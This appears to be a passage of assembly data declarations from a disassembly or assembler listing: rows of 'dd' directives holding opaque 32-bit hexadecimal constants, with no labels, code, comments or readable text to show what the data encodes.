dd 183BB075h, 4100722Dh, 38C13510h, 0EC486B56h, 0A814057Fh
dd 0B101E966h, 0DF366953h, 0D9C3D052h, 0E8544B68h, 0E2DACB14h
dd 20FCF379h, 7B2600FEh, 0BF5771C5h, 0FE0B3CBAh, 233DE907h
dd 90F52CB5h, 7EC208AFh, 0EF6E658h, 59EA80D2h, 6188F269h
dd 0D8823DFFh, 0E5E9A52Ch, 5733BEC9h, 128634F5h, 56BF7812h
dd 4AD6CA18h, 81C19098h, 4B0F0C0Ch, 0F44988AFh, 0A2147141h
dd 3EA2B710h, 0DE33935Ah, 0D32FCAB9h, 0F32999E1h, 969256EEh
dd 0A2F5A29Dh, 0C53001DCh, 0EDEBA66h, 0CE5ED80h, 5CC7E0EFh
dd 0EC205876h, 37406813h, 39280C60h, 1158B59Eh, 0C64A50B0h
dd 0E4F8CDC4h, 3E3D888Dh, 1D4C34E0h, 80696640h, 2259E8E5h
dd 0AB30E96Bh, 9968C1CDh, 1BC6BF4Fh, 0C5A92BFEh, 0FF02B64h
dd 0EEFDD376h, 40404E09h, 0FCD6F621h, 0A4B65F28h, 0CE5FE619h
dd 413F2629h, 0C354901Eh, 0E0F33F35h, 7E203C20h, 48ECB70Ch
dd 9885452Dh, 0BE95939Fh, 3C204D3Dh, 388803E2h, 9F5A585Bh
dd 17AD20B6h, 32796B68h, 3240B2BEh, 1EDDD58Ah, 0B2290C5Ah
dd 8219C103h, 65AC902Bh, 564BFE27h, 0C65242A0h, 0E3ED6EFCh
dd 91EDEB4Ah, 0DF83985Ah, 0E3F8264Eh, 8F9ADD8h, 0D9C03BB7h
dd 8475876Fh, 0C1D0A06Eh, 0FED9B69Dh, 0A7C7A0E9h, 43AB9EE8h
dd 0F695DB68h, 18552507h, 827DC7D8h, 2D63A89h, 0C0F66358h
dd 0BC5C7D5h, 0A8B04170h, 145B800Ch, 1408187Ah, 0FF15B01Eh
dd 0D5888077h, 0F6C20FB4h, 0A3C084D3h, 4DFD81Dh, 0CCE1EF80h
dd 28049EC7h, 0ED77E9F9h, 1EA311F4h, 0D2671636h, 0B85A809Bh
dd 59244350h, 0B715443Ch, 57FD1EF9h, 10FB530Dh, 4A728760h
dd 0EFCC412Eh, 21B64030h, 0E3DEFA42h, 8A0BC527h, 10601EDh
dd 384AF2E5h, 0B0189845h, 0B89440Ch, 6AE9206Fh, 286CC962h
dd 0EB296F6h, 2BDA2F97h, 899D40FCh, 70D09D08h, 126FE02Dh
dd 155EF7h, 9C648BC1h, 0D64FE922h, 83A17817h, 2A8FB53Bh
dd 5D0B95E7h, 0D932CD01h, 7A49F574h, 85681795h, 309AB25Ah
dd 0FDBE7BA3h, 23792545h, 809FC952h, 1DE7F641h, 28F9E15h
dd 57B6AA1h, 71FC9F81h, 0F729D8DEh, 88271B0h, 6C2BBCAh
dd 0D958AA2Bh, 5658EC72h, 82A82D39h, 5516E909h, 0F839338Bh
dd 5900F290h, 0E5D90566h, 0EED029D0h, 0E90EC42Dh, 0C8C894E2h
dd 0DF41644Eh, 6027D97Eh, 5880B705h, 0A7684C52h, 5A6C6409h
dd 0FD03C976h, 0BD72053Dh, 9861C4AEh, 7A187B98h, 8A9A6380h
dd 0F9BB2CA8h, 338D3CCEh, 6A0C557Eh, 4EE9A3A4h, 0FAD0E150h
dd 4B9005C6h, 3853D19Fh, 6ADC12ADh, 9D025DCBh, 51194CC1h
dd 273DAFE4h, 0D2F86CF6h, 0B8316701h, 774E9F0h, 57C25154h
dd 804F047Ah, 0F5DF45B5h, 0E229232Fh, 1A54B3h, 2A3C3F27h
dd 0A5276855h, 9670D167h, 0D63BA2C8h, 0AFF584C7h, 0F71749E8h
dd 1CEAACD1h, 0F84BB126h, 593E5689h, 94533B21h, 0E24856B7h
dd 0F0080503h, 22ADE927h, 10D7DBF3h, 4B2094EDh, 6DE98078h
dd 0E10B77E7h, 0F9FD8CE9h, 0CFBAADF9h, 654216D3h, 6A8901A9h
dd 59786030h, 0FE58CA40h, 4FBEBAh, 0E5F4805Bh, 92E55253h
dd 61FFCB18h, 3F2555ABh, 0D3681D21h, 1166E62Fh, 0BD104FFBh
dd 0D65C260Dh, 0AEBCC9E4h, 0A757E85Ah, 0A4BD7AE2h, 1704F381h
dd 1190EF4Eh, 0B87E5668h, 14D220A2h, 6762A480h, 31CFF512h
dd 0A926090Bh, 203EF5C9h, 0A6DE916h, 6338BBF3h, 17BD4316h
dd 2720A34Dh, 688B6557h, 0F6566BC1h, 520BEA12h, 30548E14h
dd 4A3CCA4Fh, 29C95DBCh, 4A1E0575h, 67AAC453h, 108DC2DAh
dd 0EB7194FCh, 0E9414A0Ah, 213B11AEh, 7AC56Fh, 5FF1815Bh
dd 0FB3DD6CAh, 0CD6AF231h, 8A109D08h, 7DFB024h, 6CEB8068h
dd 32971E78h, 0E9F36315h, 0A7210A41h, 0FDC770C4h, 4812A03Ah
dd 14167A98h, 5FE01B69h, 42E09F3h, 825FAB77h, 0B9A47E5h
dd 0A07D235Fh, 4018DA21h, 0C02C6036h, 5506056Ch, 62BD76CCh
dd 0AAC26014h, 9DB2542h, 4AB590D0h, 0B060D52Ah, 92BDB66Bh
dd 3CAB071Eh, 0BE30F657h, 5E6972EAh, 0E9168046h, 0C7A6B22Ah
dd 30ECDF1h, 0C0FEE90Ch, 5F5F0660h, 0B7C4417Dh, 0F0F82841h
dd 0C101305Bh, 38E18058h, 0DEE67068h, 0B5A56228h, 0ABC85805h
dd 2025412Fh, 0D141901Eh, 3921DAF9h, 0EA1208BBh, 1B4EF045h
dd 6692F641h, 9FC91F0h, 7237A7FEh, 0F2D0201Fh, 5BC441B7h
dd 0DA42C2A7h, 594A4456h, 4A0AEDA6h, 25BC20B9h, 7FE3E235h
dd 0DC2D6565h, 8614EC6Bh, 5AF86D6h, 0BFF5881Dh, 4E845E85h
dd 89B221F0h, 0B3E13E43h, 80E53D60h, 5390F301h, 0C62506FAh
dd 5475E95Dh, 0BDE77730h, 7FC1C3B9h, 0ACAD8365h, 96BDF10h
dd 5F816850h, 70E6E19Ah, 50CA1BFh, 1D8A612h, 55888254h
dd 0A429130Ah, 2FE55A31h, 0E22BD2DDh, 0B9E90B0Eh, 1744711Eh
dd 1612A378h, 3BB99DF7h, 2BB6E50h, 29EC4EF4h, 0CC755BDEh
dd 20BD4B0Fh, 0CE9EE89h, 0B45E0295h, 8E81770Ah, 0CC6EC580h
dd 0F5F25DEDh, 0DF6010DDh, 660A8616h, 524F105Ah, 935136A8h
dd 40B2D76Ah, 0FBE1433h, 894BD1F4h, 946E92F5h, 660D8096h
dd 32B0E41Dh, 0ED119027h, 0EF830BF4h, 2048781Ah, 61E5D588h
dd 0D5353E7Dh, 991269B8h, 0E2D4D093h, 711FD34Eh, 4607F581h
dd 0CD6038B4h, 0CEA4522h, 4EDC115h, 6602D412h, 27E939E8h
dd 324DD96h, 537788B9h, 0C2C79B60h, 16DD499Fh, 0A0D08902h
dd 19269AC6h, 0F83F95EAh, 580841EBh, 6856FC01h, 0DB55FD0Bh
dd 58267E11h, 4ABF8D53h, 9338020Ch, 5BA7767Ch, 377082EAh
dd 204C5B4Dh, 7C29710h, 8A5DDF8Bh, 0AE050138h, 9BA1D421h
dd 0E945D37Ah, 5C4AC8DAh, 584967D0h, 595D2CC1h, 404EC500h
dd 0B2EEE935h, 0CD594BFEh, 3C0EF1EEh, 95BD02B0h, 8D27CB12h
dd 4BCC72A3h, 0F8EC2DADh, 1125AD5Ah, 0B5AF4EBAh, 19FBCBB1h
dd 5B98CA2Ah, 0E1D47644h, 0C035B700h, 6C102E7h, 25EF8007h
dd 386FCBCFh, 0EC4AD80Ch, 0E2FF3C93h, 539CA7B3h, 0D4839A5Bh
dd 0FC1B927Fh, 2CEDA87Fh, 40A6036Ch, 1CD7FE1h, 8049DA97h
dd 74F5908h, 0E7C1D7F7h, 2A63F08h, 5A0E2481h, 72E977B8h
dd 2CAF51C5h, 0C309CD77h, 27EE0Fh, 0EF3FFB4Dh, 0DC70B57Fh
dd 68614F9Ch, 8C7A3692h, 5B89807Ch, 8D2AE171h, 73B8202Eh
dd 7560DAAAh, 0A00F1FEDh, 0D3D901CEh, 0B08D6F86h, 53704BD5h
dd 0AB3D04EFh, 0B0500081h, 0E5012CECh, 8E3041FEh, 311D642Ch
dd 0BA45D3F5h, 0B7CAD221h, 5F5312F4h, 7FC7C058h, 364B7C0Bh
dd 8013FA5h, 2DFF42E9h, 495E2D38h, 836FFBA8h, 4C9FC14Dh
dd 97246596h, 3F4BEABEh, 0E63A33DBh, 2835510Bh, 990C084h
dd 0C9F97458h, 0CCAF9BFEh, 0D9A649ABh, 8A07875Ch, 0C53A5E19h
dd 613DAB7Dh, 97CDC4F8h
dd 840AEC27h, 0F3C3907Eh, 625803A5h, 0DE983AAEh, 0E9C43133h
dd 0F201A08h, 0E92EA001h, 0F5B969E7h, 7EA72955h, 5F096B0Ah
dd 65DF2EE2h, 5F92BF4Ah, 2A1FCD06h, 983A79E5h, 0D54F7F89h
dd 929F5EB2h, 395ECD21h, 0FFC710ADh, 0FCED5028h, 9E829EDEh
dd 79D84F80h, 5F42C269h, 93BDCBD9h, 39EA0FE4h, 3E566570h
dd 0D027112Ah, 0D2A75F45h, 68513F41h, 1591561h, 7DD93FF9h
dd 2DC070D6h, 7BD8ADB1h, 0E5082333h, 0C9ECFB5Ah, 0DA3DF8A1h
dd 0F5757905h, 7E26AC5Dh, 9E9E1BE6h, 311076Bh, 77C531ECh
dd 676E1799h, 7D3C401h, 0F9835B08h, 1FE914B0h, 880E3BB6h
dd 0C297EBDAh, 71335DE8h, 9CFE1DE2h, 0B0042916h, 0F3A417F1h
dd 0AE503EBBh, 17E55D25h, 0C8BF0F80h, 96540268h, 67A863FFh
dd 24FC7739h, 7B27BAE6h, 0DD0C4DAEh, 59A17A82h, 309382D2h
dd 320756C3h, 6F438738h, 2E53554Ch, 7D1B2FF1h, 99A9F111h
dd 1425AE2Dh, 0E9D099F6h, 0B2299F5Bh, 3F20310Bh, 2B3514C3h
dd 4DE9233Bh, 946F4936h, 50DE20B5h, 5B199031h, 0F56F2786h
dd 7DD5E194h, 8D08249Bh, 53A08217h, 0BBBA400Bh, 4E5FAC00h
dd 0B0CB811Eh, 19150421h, 0BFB236E9h, 2882F2CCh, 33CBEF6Dh
dd 0E11BD79Bh, 6EAA95B9h, 9CFE7234h, 87B77414h, 50174B1Fh
dd 0B2E00284h, 2FA0905Ch, 30201C4Ch, 12BB2D77h, 14E066E4h
dd 0C3315301h, 30E94358h, 7C5F6C28h, 7F5B6C9Bh, 60BC5541h
dd 7D7C2B39h, 8002D48h, 899B26D4h, 0BB2DE9F8h, 7BCE91BEh
dd 0A5405862h, 0A2F0BF36h, 1657D13Fh, 7BDD3E1h, 84C1C034h
dd 68BFF39h, 8537B6D3h, 4FF1EAE9h, 88DEB22Fh, 3E6627CAh
dd 0ADC5504Ah, 26A79FE0h, 0B93D953h, 0C4E8AACEh, 212F321Eh
dd 0B311F044h, 13E90514h, 87E1AC86h, 0DFA25F54h, 1434FFF1h
dd 0B09B4CB7h, 79E9188Fh, 66EB6FA5h, 6A60D06Ah, 0BF52E005h
dd 14E482B0h, 0BB4ADF3Bh, 5508A209h, 6E388C82h, 59C8E848h
dd 7FB26816h, 6A0A0360h, 0FC1A5A37h, 2D54946Ah, 0A1046485h
dd 0AD04EF6Bh, 620574A5h, 5192CABDh, 1EEDBE53h, 12315D24h
dd 5A0AE9D6h, 97315FE4h, 39DE0A4Ah, 2FB00143h, 29F2C5D5h
dd 0F45A8BB4h, 80C4EB8Dh, 2291AB4Bh, 0D6246575h, 8F5E5DF5h
dd 96A30896h, 5AD78804h, 5B8B3CE0h, 0D2D2F31Ch, 0CFED0E05h
dd 68C272ECh, 0C5667AADh, 4190CA1h, 5CCD02ACh, 15DC2074h
dd 0D6FC964Eh, 8F823EB9h, 275729AFh, 5E5B7C04h, 5E66EF9Dh
dd 0EE0117A6h, 318B5F4Bh, 0DC48F389h, 5B6C55F9h, 0C0B2FEE0h
dd 1C07F231h, 4A583313h, 41092942h, 976C310Ah, 1EBB5992h
dd 625685FFh, 0F1AC8222h, 9635D5C5h, 4FE997E4h, 0D047B49Ah
dd 249D148h, 6226F968h, 0CAC3402Bh, 6005EAE6h, 678E885Fh
dd 514C3A79h, 26B55ABh, 8F10A3E6h, 99B99764h, 0AC813BCDh
dd 0E8049A06h, 5A277858h, 4F53F103h, 87B2EAB4h, 690D1655h
dd 10D46D59h, 4A323DBBh, 834602B0h, 0D316902Dh, 0FAECA070h
dd 9906B280h, 96DD6B32h, 4EE92592h, 5F715709h, 0A0AC5544h
dd 392B5D8Bh, 3E62DAD6h, 0C2BD04C2h, 0D9E1AD15h, 9B67BC5h
dd 49D1EA2Ch, 729C7703h, 0F3013B99h, 0E9081C40h, 47C0164Ah
dd 2D32BD68h, 80453D78h, 3DFE0688h, 38D1E283h, 2DD9283Eh
dd 0D97064B1h, 0B889F8BEh, 0C0719ABAh, 1242B789h, 0BD5912CDh
dd 0DCE90921h, 959BE463h, 0C116A59h, 0F84C2C3Bh, 2D6C909Eh
dd 97D6C001h, 7E59817Ch, 8F2AD22Dh, 0F1F71200h, 0BA137EA6h
dd 78D0B277h, 0D30B0E2Fh, 0D36662EBh, 5A1A2DDh, 409B74BDh
dd 0C188515Ch, 385F4FE4h, 0A99765ADh, 0CBE9E196h, 800ED56Ch
dd 0EE6E25E6h, 7122C97Eh, 8E5B2A2h, 236B1460h, 40DFE3Bh
dd 2F076EF5h, 5DEBD3C1h, 0BDC4047Fh, 505600DFh, 15EC668h
dd 0D581288h, 0F25D481Ch, 748A48DDh, 90DB9DD5h, 0A208ABA7h
dd 2F5B6B2h, 52C0FD29h, 54816AEDh, 80BCA36Eh, 8B07B56h
dd 0AF050548h, 95F74F84h, 0AC8EAFFBh, 0B8F9B716h, 35FED2C1h
dd 24A0B99h, 27C26BC8h, 3BC51B58h, 5C185201h, 0E952C1AEh
dd 0C92BBFCCh, 9A9360BFh, 98D6F780h, 88450992h, 80001755h
dd 26C04351h, 82F37ABDh, 0FD234108h, 7DF81D6Fh, 905362A7h
dd 0F629ACBDh, 92715E92h, 0B80589CEh, 3D091DF0h, 0CD814701h
dd 71F83BD9h, 5D6E63E9h, 945EDE01h, 0CAFBEE5h, 0E9A5CA71h
dd 55365B38h, 0E1F7660Eh, 3E2DF074h, 0FA8D1ADBh, 42B5D61h
dd 0C820B6B6h, 10950255h, 0C49267BDh, 2061E1E1h, 1FF31F7Ah
dd 4CD1214Eh, 0EE4D68F6h, 0AD4138B8h, 5A2CE32Ah, 56C080F8h
dd 5B26F2BEh, 99B84D5Bh, 8AB6B993h, 0C227112Dh, 69FD7EC0h
dd 0C2578125h, 7961A176h, 3812212Dh, 605E3003h, 0B881428Fh
dd 0A4F27982h, 0FE0B82DCh, 9CB5884Ah, 462A6805h, 25A69BBAh
dd 0BB9C803Fh, 7FF96FE5h, 68E35C3Dh, 19ADCB00h, 0E94B56F6h
dd 6BFA612Fh, 6500EF0Dh, 2AEE29C3h, 0E2F75Dh, 0CF3832DBh
dd 0FC0E3D2Dh, 89A82B4Ah, 2613D710h, 522D6247h, 0C4F10449h
dd 0BE468EACh, 0F0F31204h, 5EDF591h, 68A5EA84h, 0E9F5024Dh
dd 0B26758D5h, 27D897FEh, 7737567Ch, 0C9A999DBh, 657159D8h
dd 0D21FB22Fh, 0A61CEFA9h, 0F9D42F3Fh, 0D32A94C0h, 0BAE29F2Ch
dd 5C040709h, 4746F3FEh, 25E913E8h, 525A5D43h, 0BB1F5059h
dd 0EBD1C469h, 9837C205h, 5FF83100h, 0ED75C050h, 5D0E5938h
dd 7816898h, 6DA6F9E9h, 2EE7057Bh, 0BD006406h, 26B815C7h
dd 7F559E9h, 69C7914Bh, 0E4506802h, 446185F1h, 111C3335h
dd 91CC9557h, 906BCE20h, 16E30911h, 8822F24Bh, 880383EDh
dd 0C9E793D4h, 316B07B4h, 3EB6C885h, 273925CDh, 60AFA396h
dd 557F8018h, 3EF2A92Ah, 575100E2h, 7A1FF3BFh, 54AD3182h
dd 8762AF26h, 90050C09h, 2D3AF3C6h, 27F47AE0h, 0BFE29C1h
dd 66928525h, 0EBDFD1EEh, 70BB005Fh, 57892E41h, 0BE94021Eh
dd 25DA876h, 5DDC656h, 28FBFD2Dh, 1B02C553h, 0E943BB71h
dd 89E7A27Fh, 493077E0h, 989F0E18h, 7E783176h, 18CBF0C1h
dd 0E38C62E9h, 0C9096856h, 831D2C79h, 5ACDF6A1h, 4FBBEC0Fh
dd 292288D5h, 0A0A25D5Dh, 6602BD3Fh, 598260ADh, 73799715h
dd 0B5064C92h, 2F26AE18h, 2E784F2Ch, 0D0EA59E8h, 5A7A46EAh
dd 0CA4BCE90h, 43AC8413h, 8599EAA4h, 0BFED642Bh, 0CBAEF1D5h
dd 51226443h, 4A55082h, 0FF01C480h, 0AA91485h, 585BDD0Fh
dd 0EEDCFB85h, 9701AC28h, 9967A3E2h, 58C52900h, 3C43BD2Dh
dd 0E81421B1h, 0E35E0705h, 38E90916h, 4F2EDEB9h, 0AD81251Ch
dd 78307A29h, 42DEDC54h, 4A870147h, 3D0941D6h, 77877281h
dd 7734271Fh, 7309E76Ah, 0F063EA2h, 7B07F20Ch, 9DD99753h
dd 0C39D6160h, 5EB02AE9h, 3EF52F87h, 665FB370h, 4D917850h
dd 10EC5841h, 0D35BF140h, 41D29829h, 0BD050CF8h, 73C74477h
dd 0B825EEF8h, 0C0BE6CE0h, 2964E07h, 7AC2F231h, 3C00C8E2h
dd 0D0898A09h, 0B8719902h, 0D7EAB2D7h, 564098ABh, 0B0BC7AC4h
dd 85B951E0h, 1A2D2F2Ah, 2E07DDC1h, 52E1F240h, 46D6855h
dd 5D0C3521h, 356C04Dh, 0BC1E0D1Eh, 9FBCEA89h, 43CC94C2h
dd 78070C7Fh, 10BBA3F0h, 1D60EA4Eh, 50BD805Bh, 824AB284h
dd 65C9E8A8h, 32D34C43h, 0F5E8029h, 35AE7613h, 1D0D81D5h
dd 0CBF4703Bh, 0DBD9340h, 64777C36h, 5BBD34E4h, 0EBD18CC1h
dd 0A0DB3C13h, 0AE30356h, 694E974h, 42FF82BAh, 78CA5201h
dd 0D2B6A77h, 7BDCDC0Bh
dd 41532424h, 0AE305E5h, 379B83A8h, 2DADB513h, 32D407A5h
dd 124CEC3Eh, 94109A68h, 0B9C240C3h, 18F9579Dh, 0A24BBBF4h
dd 63F02224h, 818CB67Eh, 1C11CAEEh, 0FB0675A6h, 0C4DC62EAh
dd 0DA88F785h, 0C996A84Fh, 0F6D0BCh, 1A06E8BFh, 0C1DFF77Dh
dd 10DE74Ch, 687FB850h, 7530AE8Dh, 6A2324C5h, 8BBB3A74h
dd 813BE81Dh, 0BB3C46EFh, 0F8A53A08h, 295D0801h, 502205DFh
dd 8B7A5247h, 0F8011933h, 8983D9E8h, 61A32B06h, 2ECE8CD1h
dd 5D1BC9D1h, 0F1E1297Bh, 7F2835FCh, 0C9DFA4E2h, 0A8FB63D9h
dd 3BD1715h, 5EF79305h, 0DD5C20ABh, 66FE2814h, 39C6128Eh
dd 0F6430FEAh, 0EDC004D8h, 0FF0A076Fh, 45E1BE12h, 2D0CC1C2h
dd 33CA052Bh, 0D659FD34h, 5E7205BDh, 1BC441EBh, 0EC14A143h
dd 31811178h, 0CA81A33Bh, 0A58B7601h, 1804E5EAh, 8850D30Bh
dd 26A5D04Ch, 0D813E458h, 66E9DDD8h, 0BC30E96Ch, 8AC38014h
dd 7E820A1h, 1B170CBEh, 0A96AA41Fh, 799576A6h, 0C35B1298h
dd 64602121h, 2C2AF3CAh, 8879B533h, 0E0273030h, 46079565h
dd 0AABB1453h, 5C319244h, 0E9C188EAh, 2748594Dh, 274A725Eh
dd 0B75EE80Ch, 21AE57EEh, 2F5C1760h, 57301099h, 905F81B6h
dd 52017CE4h, 532E8BBAh, 76A9EC13h, 71EC16D7h, 18AEE9F0h
dd 526E0383h, 0F7286FB6h, 0FE085AB0h, 8223E92Dh, 52A5BF4Dh
dd 0BFB8ECC1h, 0DEBA7D45h, 1F84BAF2h, 3D420E67h, 90F1E3D3h
dd 5DAF636Bh, 0E1016BEBh, 685BD988h, 49285202h, 4805FB93h
dd 72035E22h, 95DA234Dh, 8F72C4D1h, 0C0488726h, 5BE2C825h
dd 2E749CFFh, 89DE92E9h, 0FFFDAF7h, 0C0F344D3h, 0B41240E7h
dd 412AA08h, 4AA62112h, 5209B749h, 0A35F5AE9h, 161509AEh
dd 0D0E18F63h, 1F2A97FFh, 0E7040676h, 53156C76h, 6804A3A3h
dd 81056742h, 0AFA878h, 0B003E0C1h, 6AE241DDh, 1BB29EC5h
dd 0F7AC3418h, 0DB79B450h, 5E875D6Bh, 0F2E9D9F1h, 2F7AE6Ah
dd 0B06A583Dh, 4AB0689Eh, 7ACF8974h, 635D608Bh, 26EDE98Ah
dd 24E0822Ah, 79C0093Bh, 2BE8214Ch, 58C06812h, 3D95038Ch
dd 46E05B98h, 3A979D9h, 81C9D2BFh, 89705908h, 52B8809Ch
dd 555A140Bh, 87AEDE09h, 69622BB3h, 38A3B400h, 849026F3h
dd 5856D640h, 0AC300254h, 7089BBA5h, 276D143Dh, 138A8AA1h
dd 0F21A8C02h, 62D96266h, 9AA682CCh, 0B12D07C7h, 2A558738h
dd 700DBB1h, 5539E95Ah, 0A12AA2BCh, 0D2083C22h, 572ED4E8h
dd 3BC510B2h, 99F2551h, 9371F392h, 0E871B0FDh, 3EDDC0A2h
dd 6E919D0h, 2F57488Bh, 0D0877112h, 92AAE54Eh, 561A9382h
dd 0C201E267h, 6AFF6AC0h, 101D5E30h, 69ECE958h, 0BC574C59h
dd 5C1497F0h, 0D085E912h, 5F4EC620h, 0C02B5C15h, 0C9269A24h
dd 0FA4BF852h, 5706B8F3h, 0D13FDA68h, 0A335E268h, 32BC1C17h
dd 0A25457C4h, 8530D723h, 933C9268h, 4E63072Eh, 70DC090Ah
dd 0F5B19B84h, 1E50A0A0h, 0CB696516h, 0CBF97B70h, 12DB6806h
dd 0F2502291h, 0DBF02825h, 0B55104FDh, 0E995C015h, 66999371h
dd 45555C8Fh, 0DEB2FE7Ch, 0EC68125Ah, 0FAF6B7CDh, 6CC73DD4h
dd 0E98BB339h, 8971C2CEh, 8F201F28h, 25680591h, 0FD1F7F48h
dd 6C201B9h, 4244BA1Dh, 7D0E0E8Fh, 82F7258Bh, 5772395h
dd 7C2E9129h, 0F3FC0480h, 9E07604Ch, 930D1846h, 0D1A9ABFh
dd 0FD95F929h, 56E2DAAh, 0D2C4C6E9h, 484624C5h, 7C7710BFh
dd 0A6E697E3h, 64C32930h, 0B86377F7h, 0BBEC2ADCh, 8DA58A6Dh
dd 0D8C24F47h, 0F7882EE1h, 0B2E7170Dh, 61AED370h, 3588E922h
dd 0FCCB2092h, 36CA5B48h, 0BDA069EBh, 0CBB75ECBh, 804F6ADEh
dd 47CC24EFh, 830F9201h, 487DAA08h, 12CB05FBh, 0EB72FD63h
dd 0C140AC41h, 0EDF406E8h, 91FCE4C8h, 0BA550BA0h, 0D2582E64h
dd 0F5408FD7h, 1108210Ch, 0D8532E34h, 95D35E2h, 0C417247Dh
dd 48FE05E0h, 0BEF4E9C0h, 8189EE4Eh, 740144C7h, 0AE91104h
dd 0E97E7C31h, 309D2A90h, 18C9DC40h, 0D1829FA1h, 4C8A0E9h
dd 0E33CC14Bh, 275FAC02h, 0BE565980h, 1D7619B8h, 1FE6810Eh
dd 0D066D60Dh, 0A9F6CBA2h, 0D5844295h, 0B70BAFCAh, 58BB2957h
dd 9F3825C1h, 7C96BA5Bh, 0F72F7FA1h, 0ECB71087h, 40E3B340h
dd 0D2966663h, 0FDFC0212h, 68ECBD55h, 0B2327F9Dh, 452EFDA5h
dd 0AFA567B4h, 3468AC70h, 71C2E163h, 0ABAE7D7h, 98D31908h
dd 0A35D7AC3h, 0E2BCEB92h, 0ACDF1184h, 0F3D69CD1h, 81CCDF04h
dd 4AFAB912h, 84BA158h, 4F62040Eh, 0AEBC5CE9h, 0FE526232h
dd 6B505941h, 5A259A8Bh, 4498DD9h, 88AA194Ah, 181E0CC4h
dd 0EDD3254Fh, 5AAC6BC4h, 569740D2h, 0B5094968h, 965E5B04h
dd 0EA81D8F7h, 0C0398D9Dh, 0C6189E21h, 827FC110h, 0F8C51641h
dd 334C9B5Eh, 82D1107Fh, 0E0CE047Ch, 0E05C1329h, 0BB2D7900h
dd 84B9D85Dh, 0B73C9A43h, 76B189CFh, 5D879A72h, 275464E1h
dd 0F8F16073h, 3448DC05h, 15940D3Dh, 0C78DCFCh, 0FE5AD012h
dd 29E97D31h, 9B0DBD80h, 3548CE0Ch, 0F66F060Bh, 0CA79584Bh
dd 109A0506h, 3905D2DAh, 628C6C2Fh, 0B6521353h, 0C75B4605h
dd 0C15E9F56h, 0EAEC09B5h, 1992B7C9h, 0E8E2EC84h, 5BE6BC3Ch
dd 0E46DE2EEh, 419DCDFEh, 0D1086D86h, 1240DA5Ah, 0BCE11C3h
dd 0D90F1201h, 0B4AEDD2h, 390F502h, 0B5B943B1h, 0EFC981D4h
dd 0B309CB63h, 0BF4BC47Bh, 1BE97F80h, 3F119D74h, 1E828281h
dd 4348A643h, 3760B3D6h, 7FFDEB43h, 41299169h, 52F1EE76h
dd 4F43A77Ah, 0F26B1CA5h, 28EF9262h, 84BE93Dh, 0A72CD407h
dd 9DDED807h, 0A80CA193h, 98C3819Dh, 258F2C0Ch, 289A2854h
dd 997A9127h, 92726C7h, 666A2DAh, 123F86B9h, 77EA85D7h
dd 86F1B2E1h, 640973B2h, 47689640h, 0DACD185Bh, 55A1401h
dd 0E9B7E46Bh, 94AD1A2Dh, 0FB5D2005h, 35B9660Fh, 0C2DD2B26h
dd 5A195C4Dh, 0E905B9F1h, 43E254F8h, 59D33578h, 0A0630BC1h
dd 5D1443D1h, 0D56C5092h, 744E957Ch, 9B68C503h, 0C889134Dh
dd 750927ECh, 5AD6A080h, 0A221575Ah, 0E73E6E5Fh, 95BE0202h
dd 612FD70Dh, 0DA4970Bh, 7C92329Ch, 0CAD41BDDh, 7C964A84h
dd 95148984h, 0EF627FD6h, 7F2E777Ah, 0B85E02EBh, 0F731D989h
dd 3B587B39h, 26685028h, 0C0FC735Ch, 6FC22B8Ch, 0F200AAB8h
dd 32E75B41h, 0A68633E9h, 1768139Fh, 0C32CB375h, 5E14D0E9h
dd 2605A30Ah, 39AF8D6Ch, 176F9B96h, 50B9A5Dh, 43E9F501h
dd 0C16FAAF1h, 0CD568458h, 4803058h, 22AD0D12h, 621744C5h
dd 0C13F7FE5h, 6FE3743Bh, 9010D48Ah, 2A6C48A0h, 0E3BDB446h
dd 957C1F6Eh, 0D333546Ah, 9C531376h, 797BE03Eh, 292A4909h
dd 8F008F3h, 8203128h, 0B172BDAAh, 7DA4C59h, 0E51DDABBh
dd 0C4F889C5h, 0DB0A9619h, 0B3996ACEh, 170EBFE3h, 0D2255CE3h
dd 2AEDC3E9h, 9B3FFEE5h, 0BD5500A2h, 18A54DE4h, 0D1D548F7h
dd 5376BF1Dh, 40EE5C7Ah, 432B5F10h, 89A4C529h, 0F682A5ECh
dd 7D680456h, 0A432BE48h, 76504AAAh, 0BF595923h, 5BC125C3h
dd 9E5F4BCCh, 8FE91625h, 0B4DECCEEh, 58E7634Bh, 5E706610h
dd 7F57365Eh, 0E831CF45h, 1A8AEC2h, 6B06DD68h, 0EBFF4C99h
dd 45DF5DD4h, 588B1311h, 60A0B16h, 0FD7C026Eh, 0FD8D2BBh
dd 22705FC7h, 50640F33h, 9573109h, 0B230DF65h, 0A498C501h
dd 3A34FB5Bh, 0AFCB8E17h, 0C6868548h, 0B420DD49h, 0F55758D9h
dd 0F2FEE313h, 91CA4BA9h, 0A45FBD5Ah, 0C7E2A852h, 0A342A42Dh
dd 0ECEE68F7h, 6CBF4854h
dd 1F00EE3Ah, 0F0312B8Ah, 0E27685Eh, 0FE23183Bh, 90204C59h
dd 9092E90Bh, 1A094065h, 0D1EEC864h, 0EAA083B1h, 5898C23Bh
dd 50B5B220h, 122DB155h, 0AF15122Ah, 2EEA45C0h, 45CF2628h
dd 97D00136h, 2A89511Eh, 6A4832A9h, 8D33F527h, 0B768AED2h
dd 5A16D729h, 0D5E0DFF7h, 0CF810247h, 0A3E5C7Ch, 0C2A60460h
dd 0E0A07A2Fh, 4C590EC9h, 0F70E1AB8h, 28E25C65h, 0F6925E9h
dd 7AF62A53h, 4109862Fh, 0E8A3A9F9h, 5670A225h, 67D3F49Ch
dd 0BE31D8C4h, 0B800C1C5h, 0E60D4AD5h, 0BD13541h, 12CE7720h
dd 163FF320h, 86B101Fh, 8BFAAC5Eh, 596F26D5h, 0A8A60530h
dd 0FA018DDDh, 38EA8D84h, 0AF34279h, 41ADCD4Bh, 0BF4731h
dd 303E4C0h, 2852F480h, 37CF58E6h, 8EEE9306h, 9E01C6E1h
dd 0C34E4806h, 0CEF30F79h, 845AABEBh, 5FACDD76h, 5BF4B35Eh
dd 0B217A6A6h, 8BE2B80Eh, 424B5157h, 0A7D89FE9h, 65B5581Ch
dd 7464F517h, 0F69400FEh, 80CDFEDDh, 0E927C506h, 0B5345B31h
dd 22420DD1h, 0E2600FC9h, 0C9979AEh, 0EE0A8A98h, 0B53FAD08h
dd 6C19A50Eh, 0A5E0A03Ah, 1C311797h, 1B641892h, 3D064BEBh
dd 0FB01435Ah, 71E60F4Ch, 0E5C0167Ah, 3B303367h, 0BB8D1A3h
dd 819D312Ah, 551E940h, 0E8665293h, 0DBF774EBh, 0D9F2A1Eh
